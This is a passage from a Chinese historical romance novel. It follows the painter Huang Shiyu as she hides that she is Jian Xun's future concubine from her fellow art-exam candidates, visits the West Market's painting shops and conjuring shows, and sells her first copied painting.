正五品已经能牵动皇帝,再高可就要逆天的。 简珣不无惊诧,双手捧着伯祖父赐予的名帖,肃了肃容色,将名帖收好,然后撩起衣摆跪地稽首叩谢,“侄孙定不负伯祖父拳拳栽培之恩。” 安国公颔首,“去吧。” “是。”简珣再一叩首起身,胸臆有无数情绪在涌动。 千言万语最后只变成了一句,想对梅娘说:等我再长大一些,就能完全保护你了。 下元节这日黄时雨在公厨用了一顿斋饭,就回了舍馆。 恰巧福生赶到,两下里相遇。 女孩们有意无意侧目,又在远处回头张望,不是吧,真就隔三差五来一趟!按这个频次干脆住京师得了。 福生笑嘻嘻道:“给,这是少爷写给您的信。” “有劳福生小哥。”黄时雨摸了摸袖子,从设色场而归,没带赏钱。 福生已经一蹦一跳跑走,“不用您打赏,这样少爷才会给我双倍的赏钱。” 黄时雨笑了笑。 数道灼灼目光如影随形,黄时雨自知再不撒个靠谱的谎言实在难以服众,就主动上前摊开蜜桔,请大家食用。 女孩们大大方方道谢,各自拿取一只。 蓝素道:“哇,是邰丰的蜜桔,你家在邰丰也有田庄吗?” 黄时雨放松道:“京师的堂兄家里有,我阿爹便是托他给我送的衣食。” 因为京师有亲戚,自然可以隔三差五来探视。 而且这位亲戚是堂兄。 瞬间就打破了女孩们隐秘的猜疑。 蓝素神色微僵,苏容樱和沈璃的笑容则逐渐真诚。 黄时雨知道这关暂时闯过。 却做梦也没想到简允璋居然在她旬假的前一日,也就是从设色场回舍馆之际,立在舍馆的院门外等她。 其时廊下灯火通明,亮如白昼。 把黄时雨刷白的小脸映照得更白了。 这么晚了,简允璋难道是来接她回简府? 也只有这一个可能。 可她没说要回去! 谎言即刻就要被揭穿。 女孩们起先并未将黄时雨和简珣联系到一起,单纯被简珣外貌吸引,眉如墨画,目似秋水,但他身边的福生说明了一切。 黄时雨感受到了一道道复杂的目光。 黄姑娘的堂兄俊美无匹,可就是一点也看不出二人像堂兄妹。 简珣完全没料到突然就来了一辆马车,突然就下来一串女孩,全都眈眈盯着他,而梅娘立在众人中间,面色红白几度变幻。 其中一名粉蓝衣裙的姑娘道:“这位公子的小厮不是昨日才来过,所以他就是你说的堂兄吧?” 黄时雨脑子一片空白,僵硬地点点头,目光近似哀求望着面无表情的简珣。 他没有揭穿她。 沈璃满目惊艳,对简珣行了一个福礼,其他女孩也纷纷见礼,简珣平静拱手回礼。 姑娘家自不便询问陌生郎君姓甚名谁家住哪个坊,只能见礼后款款作别离去,走得远了方才偷偷回头瞧一眼。 黄时雨攥了攥手心,眼睛直直盯着地面。 简珣默默打量她片刻,“走吧,堂妹,该回家了。” 她艰难启音:“琥珀……” 简珣道:“早就收拾妥当坐马车里等你了,堂妹。” 夜色深深,看客散场,唯余灯火阑珊,简珣缓缓牵起黄时雨冰凉的小手,披着月色带她回家。 第52章 恼爱 黄时雨自小受到的教化极为传统,礼义廉耻中的耻字即包含了撒谎,以谎为耻。 她低着头,抿紧了两片红唇,任由简允璋牵着走向停在坊角的马车。 一大一小两辆,琥珀坐在小的那辆,从窗户探出头焦急望着二小姐。 关于“堂妹”二字简珣嘲讽了两句竟不再提。 黄时雨闷不吭声。 莫名其妙的谎言,究其根本不过是这个女孩以自己的身份为耻。 无法选择的出身,催发不得不面对的困境。 同案越纯洁越高贵,她便越不肯泄露自己是简允璋预定的贵妾。 这一年的黄时雨还是个自尊心强烈的黄毛丫头,明明一无所有却自以为是。 不过她又是幸运的,简珣是一个颇为好说话的买家,从未逼迫过她,甚至多次施以援手。 换一个买家,兴许就完全不同了。 黄时雨假装额头痒,抽手挠了挠。 简珣与她十指相扣的手当即落了空。 回简府的路上,马车将将驶入宣道坊道,黄时雨早已上眼皮与下眼皮直打架,脑袋一点一点,下午脚不沾地忙活两个时辰,又是抬水又是拖桶,自从坐进高枕软褥的车舆,细嗅柔雅熏香,困累便止不住上涌,周身绵软。 简珣唤了声“梅娘”。 黄时雨下意识抬手揉眼睛却被一只比自己大一圈的手包住,挣不动,她不解地睁开眼。 简珣的眼眸明亮而有神,直言道:“你手好脏,不怕把眼珠子揉瞎么。” 脏? 黄时雨睁大眼,目光落在被简允璋攥住的右手,食指与拇指的甲缝赫然藏着黑影儿,设色场的几捧井水明显冲不净积攒一整日的泥垢,而简允璋的指甲却干净透明泛着健康的粉泽,指头整齐圆润,漂亮极了。 如此鲜明的对比,令姑娘家自惭形秽。 黄时雨蓦地缩回自己的爪子,“谁像你呀,十指不沾阳春水的公子哥儿,就连指甲都是丫鬟定期修剪。” 上回她就亲眼瞧见简允璋与白露相对而坐,含笑漫然聊天,这本也没什么,令她大为震惊的是白露居然在帮他修剪指甲,两手捧着他的一只手,无比熟稔。 还是琥珀见多识广,解释道:“大户人家的公子小姐都这样,不足为奇,其实何止手,便是脚也都不会自己动手,光是修磨的工具已不下七八种,我也想帮你修,可你总是不让。” 黄时雨几乎要怀疑简允璋私下吃饭是不是也要人喂。 “难道琥珀不帮你修剪?”简珣不喜欢梅娘这一刻的目光,仿佛他是什么四体不勤的纨绔。 黄时雨摇了摇头,“我不习惯。” 虽然与自己的生活方式大相径庭,简珣也不会大惊小怪,只如常道:“等会儿我帮你吧,你这指甲好多豁口,留着容易藏污纳垢。” “你自己都是丫鬟剪的,何来手艺帮别人,我怕你把我手指头剪了。”黄时雨甩开他的手。 简珣并不将她的讥讽放在心上,反而认真解释:“我确实鲜少动手,可是见得多了自然而然学会,不信你让我试试。” 黄时雨不依,才不要把手儿给他乱摸。 简珣笑道:“你是不是害羞了,心思真多,我只是怕你弄脏床铺,谁让咱俩得睡一块。” “我又没要回来。” “旬假不回来怎么成,你可是我最喜欢的女人。” 简允璋的戏有时候挺多的。黄时雨懒得同他掰扯。 不过他说的也没错。 再次提醒了她的身份。 香雪居的丫鬟们备下香汤热水,黄时雨痛痛快快泡了个澡,冲去十日的辛劳疲倦。 简允璋还有功课没完成,接她回家又径自去了书房,但并未明确表示今晚宿在何地。 黄时雨理解为这是要睡书房的意思,便放松钻进拔步床蒙头大睡。 不意睡梦中一阵窸窸窣窣,吵醒了她,缓缓睁开长睫,只见简允璋穿着寝衣,跪坐她身边,膝边铺着一方帕子,正认真修剪她狗啃似的指甲,一点一点地打磨光滑。 帕子上已经积了小片甲屑。 可见来了有段时间。 黄时雨睁大了眼,“我要睡觉,明儿我自己剪,大半夜的……” 简珣道:“别乱动,马上就好,再动我的锉刀可不长眼。” 黄时雨凝噎,戚戚焉觑向他手里又尖又长的家伙。 这么喜欢伺候人,她也是服气。 没想到简珣除了精通按摩也是个修甲高手,没过多会子,黄时雨糟糕的十指焕然一新,连周遭毛毛躁躁的干皮也都消失。 简珣包好帕子,扔去帐外的箧笥(竹制,收纳衣物鞋袜包括脏的)。 黄时雨心道总算结束,连忙将大引枕置于床铺中央翻身朝里闭目养神。未料简允璋没完没了,回到拔步床又拉开妆奁下层抽屉,取绿萼梅香露为她按摩每一根手指。 滚烫的指腹捏着姑娘家尖尖玉手滑动。 黄时雨不寒而栗。 只见她一把夺过香露瓶,倒在掌心,当着简珣的面胡乱搓一通,“看见没,我自己搽完了,现在可不可以放我睡觉?” 简珣不知梅娘经历了什么,脾气变得愈发古怪,一点就着,“好,我不打扰你。” 他帮她掖了掖被角。 可她尚带着初醒的床气儿,他掖哪里,她就故意撑开哪里。 以这种近乎幼稚的方式宣泄自己的叛逆。 简珣哂笑,“敢问何处得罪了姑娘,我不是已经配合你扮演‘堂兄’,难不成非得老死不相往来,不在你跟前出现,姑娘才能解气?” 黄时雨将脸埋进丝被一动也不动。 简珣一把扯开,她拼了命再捂上。 简珣道:“我明白你不甘心,可你一不痛快就拿我杀性子算什么意思,整天的受你堵噎,真当我是个软性子的是吧?就连好心帮你收拾两只脏爪子也没捞着一丝好。” “我让你帮忙了吗,我请你帮忙了没?”黄时雨的声音染了浓浓的鼻音。 简珣道:“没有,是我犯贱。” 他甚少下她脸面,没想到才顶嘴两句,黄时雨就没声息了。 简珣再次扯开被子,黄时雨蜷着身子像只虾米,竟在默默垂泪,仿佛受了多大的委屈,他连忙将她翻过来放平,单手撑在她上方,轻轻擦了擦她眼角,“你今儿战斗力不行,竟有说不过我的时候。” “我不想看见你。”她别开脸。 “那你闭上眼。” “……” 简珣起身下床吹熄蜡烛,重新来到她身边躺下,“满意了吗,你仔细瞅瞅,现在还能不能瞧见我。” 黄时雨噎得慌,翻过身背对他。 简珣就给她讲故事,夜宿荒坟的书生醒来发现同伴的脑袋不见了,却还能对他讲话“帮我找找脑壳,帮我找找脑壳”。 黄时雨缩成一团,胳膊当下起了一层细小的疙瘩。 简珣将引枕递给她,“抱着这个。” 她用力抱着引枕果然好许多。 简珣又开始讲有一种精怪喜欢在人背后模仿熟人讲话,一旦听的人始终不回头,它就开始做局,只消把手搭在那人肩上问“你在听我说话不”,引人搭腔,搭上腔你猜接下来怎么着? 黄时雨竖起耳朵,半晌没听到下文。 一只手忽然搭在她肩上,“你在听我说话不?” 直把黄时雨唬得弹跳而起,又被简珣按住,摔在了他怀里,两人紧紧地贴在一处。 “你是不是有癔症啊!”黄时雨哭着捶他。 简珣抿笑不答。 等她发泄完,他才幽幽道:“别气了,快睡吧,我也有点害怕,总觉得四周黑漆漆的,脖颈发凉。” 黄时雨缩在他怀中一动不动。 简珣蹭了蹭她额头,相拥而眠。 后半夜梅娘忽然开始呓语,似乎在经历什么难过的事,少顷,发展为饮泣,呜呜的,好不可怜,简珣搂住她哄了一阵子,啜泣声方才收歇。 她含糊不清咕哝了声。 简珣仔细分辨,似乎是“不要”。 月华如练,直至夜尽天明,又是风和日丽大好晴天。 黄时雨醒来发现拔步床上就剩她一人。 不由松了口气。 简珣比她醒得早,思及晨间郎君的身体多有不便,总被梅娘瞧见怪尴尬的。 潜意识不想被当成登徒子,他便在她醒前起身。 辰时,四个粗使婆子推着四轮木头车迈入香雪居的庭园,车上放着五只大瓮,两人一组抬瓮从南墙往北倾倒瓮中乳白色的液体,只倒在石景附近或者小花坛,又在汉白玉阶两侧洒了一些。 黄时雨瞧见这一幕不由好奇。 当中一个机敏的婆子立刻满脸堆笑,对黄时雨打个福身,解释道:“二小姐,咱们这是趁阳光好洒上米汤,等下一场雨苔藓才好冒出头,翠绿喜人又养眼,您作画费眼,少爷才特特为您安排的。不过明年夏日则不用这么麻烦,少爷吩咐用翠云草代替,到时南墙再爬满薜荔草,别提多幽深清绿了。” 一段话不邀自己功,只说尽了少爷在细节上的体贴入微,疼爱姨娘。 这是个会来事的婆子。 自从香雪居有了新的女主人,就在一点一点改变,愈发精致讲究。 黄时雨颔首,调开视线,“让少爷费心了。” 已经能想象到夏日的庭园盛况。 贵妾的庭园已是如此,那么养护一整座府邸不知还得花多少银两。 简允璋家阔气的可怕。 整个上午,除了一起用过早膳,简珣和黄时雨都有自己的事情忙,黄时雨泡在书房作画,终于完成了《观鹤图》,也是承诺给简允璋画的第六幅画儿。 除此之外又分别给泽禾的姐姐与华山长修书一封,以表惦念。 头一回出远门,想家人想故人在所难免。 懂事的黄时雨通篇文字只报喜不言忧,详述自己在京师面试期间的所见所闻,文字生动有趣,令展信阅读之人也跟着心情明朗,满面春风。 那边厢的肃王殿下,经历一场襄王有意神女无情,脸上又挂了彩,正闷在王府内。 银鹤想着法儿哄他展颜,趁天气好,安排人在月至枫停堂架起画架,铺上白绢,笔架墨台若干,因颜色庞杂,光是侍候调色的仆婢便有六个。 肃王作画时极其随性,有时盘腿而坐,有时站着,有时还要搭一丈高台,总之只要他开心,怎么做都成。 月至枫停堂是肃王最喜欢的一栋建筑,坐北朝南,四面皆为落地明罩,光线绝佳,原是用来会客、宴会的房间,被肃王改成了独享的幽谧之境。 往常来了这里,肃王与护卫不是射箭便是蹴鞠,亦或被四个掌寝娇声软语围着,只要他不忙就格外好说话,任由这群女孩子于其间玩乐。 然而现在的肃王,没甚心情见莺莺燕燕。 女孩子真烦。 若非换药,连丫鬟也不想瞧见。 都只是表面香香软软,打人也很疼的。 银鹤叹息一声,肃王的伤口愈合极快,但若想恢复如初就得仔细敷药,一日也不得停,直到四十余日方可祛尽淤痕。 韩意淮百无聊赖卧在花梨木躺椅,除去那三道伤痕,依旧唇红齿白,气色鲜活,全然没有料想中的颓废。 银鹤道一句“殿下,该换药了”,便将托盘置于五边几上,俯身轻柔擦拭他脸颊。 韩意淮闭目。 其实也不是没颓废过,第二次表白被拒加上亲近不成反被抓,韩意淮足足伤心失意了三日。 然而感情之事从来都不是男子的第一顺位,倒也不是说他不喜欢黄时雨,而是肃王殿下的人生包含太多比爱情更有趣的,譬如箭术超过杨左使,皇帝赞许了他的科举朱笔提议,打马球赢了金吾卫等等。 伤口愈合后他就戴着面衣活动,护卫和金吾卫皆知殿下的脸被鹰扑,那么见到肃王蒙着面便也不足为奇。 不过面衣不宜久戴,大部分时间韩意淮还是得待在王府养伤。 十七这日,他躺在月至枫停堂晒太阳,黄时雨又钻进了他不争气的脑子,赶也赶不走。 又恼又爱。 恼自己那日低声下气失了体面,没一点儿亲王威仪,却忍不住爱她娇怜动人的模样,连生气跳脚都让人心痒痒。 也就本王才这般好性儿,任你磋磨,换个亲王早把你小胳膊小腿撅折了。韩意淮在心里撂狠话。 不禁想到小木头今日旬假,金鹤却说她昨晚已经离开舍馆。 一个在京师举目无亲的姑娘家,总不能放着舍馆不住反宿客栈,显然是傍上简珣鬼混去了。 男人多少都有一血情结,自己如何也哄不到手的美人在别的郎君手里却是盘随便吃的菜,韩意淮气苦不迭,默默饮醋。 可他也不能表现的太不值钱,为个民女与人大打出手,尤其还是与简珣。 只得暂且咽下这口气。 韩意淮眨了眨眼,长睫阴影下眸色沉沉。 第53章 红梨 午间摆饭,又是满满一桌,终于理解大户人家为何得有布菜的丫鬟,自己下手,手伸不够长。 黄时雨心道怨不得简允璋比同龄人高,天天这么吃,换她那不得也是个大高个。 黄小姐的饭量比认知中的小姐都来得大一些,有过上回经验,此番布菜的丫鬟专门为她添了满满一大碗饭。 同样简单的食物,简允璋家的就比公厨好吃数倍。 浅拿最简单的白米饭、山药糕举例,简允璋家的入口清香绵甜回味不绝,其实做法与公厨一模一样,并未有何特别秘籍,唯一不同的地方仅有米。 公厨用最普通的白米,简允璋家的却是玉田碧粳米。 只有在玉田县持有永业田的勋贵之家才以碧粳米为主食。 时下官员离世,名下所有的职分田就得原样奉还朝廷。正四品的职分田约莫十五顷,对于根基浅的官宦人家而言损失无疑惨重,遇到这种情况大部分人都会选择离京回乡讨生活。而宣道坊简府的世家优势就在此时凸显出来。 职分田从来都不是世家赖以谋生的产业,最多相当于锦上添花的那一朵花罢了,世家靠的是永业田,世世代代承袭。 黄时雨并不清楚简允璋家有多少永业田,只知这么好的碧粳米便是他家在玉田的永业田所产。 简珣曾模糊地提了一句,每年产量可观,约莫八九百石,足够简府吃用。这个数乍一看不算多,但作为碧粳米的产量已经相当恐怖。 粗略估算他家在玉田至少有十二顷。 黄时雨盯着碗中的米饭,莹白如玉又泛着淡淡碧色,香甜扑鼻,垂眸扒了一口。 想到傍晚就可以逛西市,心情没来由鲜亮起来,慕名西市画阁已久,据闻那里每家都有自己的特色偏好,亲民且接地气。从同案聊天的只言片语中,黄时雨拼凑了一条光明的生财路子。 普通画阁不大讲究名气,只要有点子水平能临摹即可。当然,临摹水平越高,自身笔力越强的画师所得报酬也更可观。 京师的构成还是以普通人为主,这样的客流群体单个花费不多,却胜在量大,因此出现了一批靠临摹糊口的小画师。 黄时雨也想吃这碗饭,既能赚银子又能锻炼能力积攒口碑,也不是没有小画师因此受到贵人追捧跻身大画师的特例。 只要有机会,不论渺不渺茫,都该试一试,反正试试又不会少块肉,关键顺道赚银钱。 能赚到钱的正经营生放在泽禾打着灯笼都难寻。 西市繁盛,人流如织,本朝还另加了一条恩律:每逢单日,西市免宵禁。 光这点就为东市望尘莫及,但也因此催生出不少灰色地带,譬如鬼市。 总之东西两市各有优缺点,客人群体决定经营方式。 为了安全简珣这回没有骑马而是乘车,护院随行。 “这次能带上琥珀吗?”黄时雨双眸盈着光亮。 简珣点头说:“可以。” 她的眼睛就更亮了。 时值黄昏已绝,钟鼓楼的大钟巍然鸣荡,西市华灯初上,行人既有普通百姓,亦不乏前呼后拥的大户人家。 本地的少女多半在脸上蒙条轻纱罗帕,蕃客胡姬则大相径庭,若非天冷,她们甚至敢露出胳膊当垆卖酒,现在没法露胳膊却毫不遮掩灼人的热情。 琥珀告诉黄时雨:“蕃客的酒很有名,但西市蕃客铺面良莠不齐,不乏掺水的奸商。” 黄时雨不解道:“掺了水就不怕客人发现吗?” 铺面不同于货郎担子,骗几个人挪一下窝。 琥珀笑道:“不怕的,毕竟去胡姬酒肆饮酒的郎君也不是真的为了酒。” 黄时雨暗暗咋舌。 简珣以怕黄时雨迷路被拍花子拐走为由,去到哪里都牵着她。 黄时雨专心致志留意画阁,发现一家进一家,分外留心价格以及在售丹青的水准。 逛到第三家,她又忙忙朝里进,简珣不想拘束她便松了手。 画阁老板是一位梳着结环髻的年轻妇人,双目有神,将将结束了一笔大生意,兀自敲着算盘念念有词,余光一闪,又有客人上门。 只见一名轻纱遮面的少女率先走了进来,头挽同心髻,不用看脸也知娇俏明媚,是个美人儿,紧跟其后的公子更是令人眼前一亮。 真是漂亮的一双人儿。 老板心情甚好。 黄时雨默默逛了一圈,对价格大致有所了解,老板上前问她是否需要伺候,她便指着《嵩山晴雨图》道:“这幅,给我包起来吧。” 简珣不解地看向黄时雨,她不是有一副正品么? 这副赝品着实粗糙,尚且连画道之外的他都不如。 素秋笑着接过老板包好的赝品并付了账。 付账之时还出了一点小插曲,因为赝品过于廉价,只收铜板,而素秋荷包仅剩银子,门口的福生瞧见立刻走了进来,从斜挎包掏出好几捧铜钱。 小厮随行的最大好处就是装钱,那么沉的铜钱,挂在身上健步如飞。 黄时雨持续逛了五家画阁,精神抖擞,忽然眼前一亮,望见对面高台锣鼓喧天,人声鼎沸。 简珣连忙牵着她跑上去,“是西域幻法。” 黄时雨久仰大名却一直未曾得见,闻言立时跟上简珣的脚步。 纵有护院随行,也仅保证主家免于人挤车碰,断没有插队的道理。 晚到的他们落于后排,惟有伸长脖子欣赏。 简珣倒无所谓,身高优势摆在那里,苦的却是黄时雨,伸长脖颈垫脚尖也是无济于事,急得她团团转。 “哇,这也太厉害,你瞧,活人吞剑!”简珣笑看梅娘。 瞧个鬼啊。 黄时雨四下张望,垂头丧气道:“我只能瞧见一片后脑勺。” “哦。”简珣仿佛才发现她的困境,“那,需不需要帮忙?” “需要。怎么帮?”黄时雨急忙道,身子一轻,就被简珣弯身竖抱而起,她的臀坐在他手臂上,一览众山小。 黄时雨慌忙扶住他肩膀,“你,你,放我下来……” 后面的话就咽了下去,她目瞪口呆盯着台上的胡人,一把利剑被他生生吞进口中,又完好无损扯出,整个过程十分缓慢,看客心惊肉跳。 黄时雨樱唇颤颤半启。 脑中轰然,视觉冲击已非言语所能描述。 紧接着胡人将利剑丢给同伴,在台上不停鞠躬,围观群众纷纷抛铜钱打赏,素秋扔了一角银子。 没想到后面还有更为猎奇甚至恐怖的表演。 只见一名妙龄女子跳着胡旋迈入场中,舞姿轻盈令人沉醉,冷不丁丝竹鼓乐戛然而止,胡人一把抱起女子,将她放进身后的大木箱,只露出颗脑袋,黄时雨紧张地抓紧简珣。 一点眼力见都没有的简珣立刻道:“既然你不愿,那我放你下来。” 黄时雨装傻,充耳不闻。 简珣暗笑。 胡人从同伴手中取回利刃,吹了口气念念有词,然后当众将箱子砍分成三块,众人尖叫不止,更有见义勇为的当场就要上台阻止,皆被幻法班子的护院拦住。 “他,他把女子砍成了三段!”黄时雨委实无法接受。 “幻法而已,都是假的。”简珣笃定。 当围观百姓的情绪被调到巅峰,胡人含笑将被分成三份的箱子重新合拢,再次吹仙气作法,妙龄女子骤然睁开双眸,哈哈大笑,掀开箱盖从中跳出,身体完整无缺。 观者欢呼声此起彼伏,无数铜钱抛向戏台,热情如雨。 为了感谢众人的慷慨,胡人与妙龄女子跳起了西域传统舞蹈,两个人四只手明明什么都没有,却时不时变出一朵花儿,抛向人群。 黄时雨最高,幸运地接到一朵。 她将芙蓉递给简珣,“你看,凭空出现的真花!” “才不是凭空,方才我已发现诀窍,我也可以。”简珣神色飞扬。 不过一点障眼法,考验反应和手速罢了。 是夜,两人上了床,简珣就用丝帕为黄时雨重现如魔似仙的西域幻法。 黄时雨的眼睛越睁越大,只见简珣摊开手掌,空无一物,又攥成拳请她吹口“仙气”,她依言鼓起小嘴巴吹了下,简珣心头突突地跳,手背全是她吹拂的暖柔,久久萦绕。 他平了平心绪,从容摊开掌心,赫然出现一方帕子。 简允璋还是不是人? 黄时雨被震撼成碎片。 但简珣不告诉她究竟用的什么“仙法”。 临睡前,她又问了一遍,他还是不说。 黄时雨扫兴,翻身睡觉,明日还要早起回舍馆。 身后忽然传来简珣幽幽的声音,“亲我一下,就告诉你。像上次我教你的那样亲。” 黄时雨裹紧丝衾,莫说亲了,连抱也不给抱。 简珣想要,凑上去循循善诱道:“很舒服的,我专门查阅书籍,掌握了新的技巧,保证给你比上回更好的感觉。” 他颤抖着手,轻轻捧起她的小脸,品尝着她的唇,克制着体内凶狠的躁动,益发温柔挑逗着她。 她好乖,这次没有反抗。 简珣以为得到了梅娘允许的信号,激动不已,就去解她的寝衣,可是他尝到了咸涩的味道。 梅娘是甜的,眼泪却是咸的。 简珣一慌,连忙缩回手,于黑暗中轻抚那张沾满泪水的香腮。 “梅娘,不想的话直接说出声,我不会强迫你的。”他轻声道。 “我不想……” “嗯。” 简珣依言放开了她。 少顷,简珣柔声揭秘了西域幻法,那般惊世骇俗的仙法被他说的再无一丝神秘。 黄时雨意兴阑珊,闭上眼。 次日梅娘回舍馆,简珣并未相送。 因他清楚她的忧虑,便不再强求。 梅娘长大了,长出了画师的傲骨。 做他的女人,是她不能言说的耻辱。 黄时雨和琥珀提着大包小包迈进舍馆大院角门,包里多为南北各式糖果点心,还有那副拙劣的《嵩山晴雨图》赝品。 简允璋是个极为敏锐之人,察觉她的不喜,已然不再送她珠宝首饰,只送吃食,且让曹妈妈亲自递与她。 她不敢不收。 琥珀服侍黄时雨换上考生统一衣裙,就听见叩门声,只见沈璃俏生生立在门口,对黄时雨甜甜而笑,“请你尝尝我家的小红梨。” 说罢也不等黄时雨道谢就提裙跑了。 黄时雨捧着一篮小红梨,心底有点甜。 来而不往非礼也,她让琥珀回了一盒虎眼窝丝糖。 这是肃王殿下送的,主仆二人并不知出自宫廷甜品局。 沈璃也没吃过御用的点心,只觉得黄时雨家的窝丝糖绵白如云入口即化,仔细看那拉丝,每一根皆比东市甜品阁的还要再纤细五分,中间夹心用的玫瑰糖和樱桃果脯,一口下去都给她整懵了,当即决定请黄时雨帮她捎带两匣子,钱不是问题。 问题是黄时雨也不知该去哪里买,只能继续扯谎:“这是旁人送我堂兄的,多半是外地方物,请恕我爱莫能助。” 她告了个罪。 其实屋里还有一盒,大可以送给沈璃。 可是琥珀姐姐喜欢吃,黄时雨就不舍得送了。 沈璃失望而归,却对黄时雨日渐亲近。 黄时雨心底高兴,被同龄女孩儿喜爱是件很幸福的事。 这种喜爱不同于姐姐和琥珀的。 姐姐喜欢她因为姐姐生来就爱妹妹,琥珀喜欢她因为忠诚和荣辱与共。 那沈璃喜欢定是因为志趣相投吧。 女孩们才休了一天不得不继续面对接下来十天的残酷做工。 黄时雨倒觉得老匠人一直在手下留情,日子比初来之时好过太多,至少有了午休,偶尔还不用干重活,打个下手即可。 终于可以腾出精力作画。 她比照简珣赠的《晴雨图》也临摹了一副,又觉得不甚满意,太过死板,便烧了重新临摹,如此反复,终于画出了满意的效果。 黄时雨将心血以茧绸裹好交给琥珀,仔细叮嘱诸多细节,琥珀谨慎记下,况且三日前才同二小姐逛过画阁,心底早已有数,“二小姐放心,此事我一定为你办利索,再说弄不明白的地方我也会货比三家的。” 姑爷慷慨归慷慨,但二小姐想要多挣一些也没问题,身为小女子多条路走多分底气。琥珀很高兴为二小姐跑腿。 画署只规定考生不得在试炼期间离席,却未完全限制考生的家仆外出,不过得先呈请,而呈请的过程需要一点耐心罢了。 琥珀提前三日向袁大人呈请,回明外出的原因以及何时归来,在不违反画署规定的范围内,一般都会准允,运气好的话,甚至用不上三日,次日便可获准,端看袁大人公务繁不繁忙。 黄时雨很快收到画署回复,准允琥珀廿四外出,主仆二人双手握在一处好不开心。 “琥珀姐姐也不必给自己压力,西市画阁繁多,一家不行就换另一家,成了咱们好好庆祝一番,不成下回继续。”黄时雨乐观得很。 琥珀莞尔。 第54章 蔷薇 今年发了好兆,小雪这日果真飘起漫天碎雪,簌簌而落,树梢黛瓦犹如添了银装,琥珀清早推窗入目白茫茫一片。 小雪雪满天,来年必丰年。时隔六年再次相逢吉兆,众臣代表万民给皇帝磕头庆贺,歌功颂德褒扬种种不再赘述。 皇帝一高兴大手一挥,减了明年两成税赋。 正可谓普天同庆了。 但设色场的考生,包括黄时雨在内,工该怎么做还得怎么做。 据闻男考生那边已经有不下百人被遣返,有的因吃不了苦,有的因违反规令,五花八门,粗略一算今年考生还剩七百余人。 黄时雨支着耳朵听同案聊天,听闻画考足足少了四百个对手,不厚道的窃喜。 短短十六日就减了四百人,谁又能说这场试炼不是另一种考试呢,或许画考早就开始了。 韩意淮幸灾乐祸道:“闻遇,你这哪是画考,简直是在练兵,照我说皇兄应当再给你权领个城西大营都督才算物尽其用。” 此时二人坐在月至枫停堂下棋。 闻遇笑道:“殿下说笑了,敢问召卑职过来可有什么吩咐?” “吩咐不敢,只是觉得吧,有些话亲口说进你耳朵,才能说得清。”韩意淮丢掉手中黑子,往后一靠,神情就凛然起来,“你是了解我的,所以我就是你想的那样,但又不完全那样,因为黄姑娘是个好女孩。” 好个鬼,肃王殿下心里的黄时雨坏得要命,还不知自爱,浑身的自爱只留着对付他了。 但他依然对闻遇道:“总不能因为我不安好心,你就把人姑娘也想的那般不堪,她还未出阁。你让程管事带的那些话,多少严重了些。” 闻遇不意肃王这般回护黄姑娘,笑了笑,“好,是我以小人之心忖度了黄姑娘。” 韩意淮打量他,“你确实是。” 闻遇唇角微勾。 韩意淮无端涌上一阵失落。 以闻遇的行事风格,既然额外“关注”了某人,那么就算他不费什么心,也会有机灵的人事事向他汇报,比如黄时雨旬假不在舍馆。 “殿下,您可真是一个大度的人。”闻遇不无嘲讽,却也不能真的把人惹毛了,话头一转,说个软话,“凡事都讲章程,只要黄姑娘不违背规令,我没空管她的私德问题。” 所以千万别珠胎暗结,不管跟谁。 再出一例,他便直接奏请皇上取缔女子画考的恩令。 话分两头,黄时雨皱了皱鼻子,忙忙拿出帕子遮掩,“啊啾”一声。 雪后寒凉,琥珀翻出姑爷送的厚夹袄,服侍黄时雨穿在窄袖袄里。 又是认真做工的一日。 沈璃连续观察黄时雨多日,心道这人怎么一刻也闲不下来,甚至向老匠人讨要小石头。 设色场的边角料并不值什么,每每放工,老匠人便捡几颗送黄时雨,她也不嫌脏,反倒糯声道谢,美滋滋稍回舍馆。 午休大家通常坐下动也不想动,偏黄时雨跟在老匠人身后忙东忙西,分外殷勤,那样她就可以进设色坊,欣赏五颜六色的彩墨。 是夜,琥珀带来了振奋人心的好消息,黄时雨临摹的《嵩山晴雨图》足足卖出了五钱银子的高价,相当于五百铜钱,比前段时间西市买的赝品还多两百钱。 不得不说低于预期,可也得承认没有背景的人首次就卖了五钱银子已是不易。 琥珀不懂画道,两眼一抹黑帮二小姐自荐,就采用最笨的法子,一家接一家询问,谁家开的价高就给谁家。 浸淫此道数年的老生意人打眼瞧出琥珀是个外行,且并非丹青主人,少不得忽悠哄骗一二,有出一百钱的,也有出二百钱的,最离谱的一个出五十个铜板。 琥珀是不懂画道,但不是傻子,五十个铜板的润笔费还不够二小姐调墨,更何况二小姐画的比那三百钱的画师还好看。她逛了半晌,惹了一肚子气,正当准备无功而返之际忽然被人叫住。 那人一脸和气,眼中闪着精明的光,将琥珀拉至方便说话的街角,愿出五百钱,因为他最喜欢在寂寂无名之人身上下注,深觉琥珀手里的赝品最像传说中的正品,有点意思。 这个价格倒勉强像人在说话。琥珀点头同意。 二小姐告诉她,第一幅有人买且接近润笔费就不算亏。 只要她的画作有人喜欢,就不愁没有老板主动求画。反而没人收才可怕,说明被人当作拿回去还嫌占地方的存在。 黄时雨轻吁一口气,又往前成功迈了一步。 今年小雪亦是她的好兆头。 女孩们没想到沈璃与黄时雨的关系竟越来越好,从前只见她与苏容樱走得近,谁也没瞧出与黄时雨一见如故的苗头。 这事思来想去弄不明白的只有苏容樱和黄时雨,姜意凝哼笑了声,蓝素低着头做工,仿佛一无所觉。 其实沈璃也没打坏主意,仅是存了些许难以明说的女儿家心思罢了,不意忙活数日一朝失算,廿六晚上来接黄时雨的人只有小厮和一名陌生丫鬟,全然不见神仙公子半分身影。 好吧,纵然是堂兄也不至于次次亲力亲为。 沈璃将此番归为运气不好。 简珣有了新老师,又时常在伯祖父跟前尽孝,此次旬假人都不在府中哪还有功夫亲自接黄时雨,虽然这正是她期盼的。 不过他还是吩咐福生和素秋前来。 沈璃的落寞写在脸上,黄时雨一开始不太懂,后来在琥珀姐姐的提醒下猛然琢磨出来。 就说这姑娘热情来得有点突然。 黄时雨比沈璃还落寞。 原以为彼此志趣相投,却没想到对方只是想做她“堂嫂”。 难过归难过,但谁没有点利己的私心,所以黄时雨并没往心里去,沈璃待她好,她依然以礼相待。 直到冬月初七,第三个旬假,来接黄时雨的又是福生素秋,沈璃坐不住了,一把抱住黄时雨胳膊:“好妹妹,你堂兄缘何都不来接你的?” 黄时雨同情这个姑娘,看上谁不好看上了简允璋,于是斟酌道:“他忙着呢,终日念书,就是个书呆子。” 未料“书呆子”三个字都不能败坏简允璋,沈璃完全不介意,反倒两靥微红,支支吾吾道:“黄公子双目澄明,风采灼人,看起来不呆……” 